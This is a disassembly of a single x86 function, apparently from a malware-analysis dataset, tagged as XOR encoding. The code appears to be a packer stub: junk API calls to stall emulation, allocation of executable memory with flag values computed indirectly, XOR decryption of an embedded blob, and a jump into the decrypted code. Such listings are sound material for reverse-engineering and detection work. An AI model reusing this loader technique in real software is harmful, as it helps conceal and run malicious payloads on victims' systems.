Function at 0x4cabbc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_GetTextColor
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x4cabcc
mov dword [ebp - 4], esp
add dword [ebp - 4], 0x228
mov dword [ebp - 8], ebp
add dword [ebp - 8], 0x1dc
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
lea ecx, [0x4cf668]
mov eax, dword [ecx - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x4c], 0x1001
mov dword [ebp - 0x50], 0x11e
push 0x4cadd4
push 0xa
mov ecx, dword [0x4cf668]
mov dl, 1
mov eax, dword [0x41a3d4]
call fcn.0041f57c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_GetTextColor
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x4cac49
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x7b
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
call fcn.0041ed84
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x8a58a
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x86
mov dword [ebp - 0x3c], 0xdc
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
call fcn.004071a0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jae 0x4cad43
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x38]
call fcn.00407198
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x44], eax
push 0
call sub.gdi32.dll_EndPath
add eax, dword [ebp - 0x3c]
add dword [ebp - 0x44], eax
jmp 0x4cad0c
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jae 0x4cad91
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
mov dword [edx], eax
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
xor dword [edx], eax
add dword [ebp - 0x18], 4
push 0
call sub.gdi32.dll_EndPath
add eax, 4
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jb 0x4cad4b
mov dword [ebp - 0x30], 0x5630
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x14], 4
sub dword [ebp - 0x14], 0x1000
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [0x4cf668]
mov eax, 1
push eax
jmp dword [ebp - 0x14]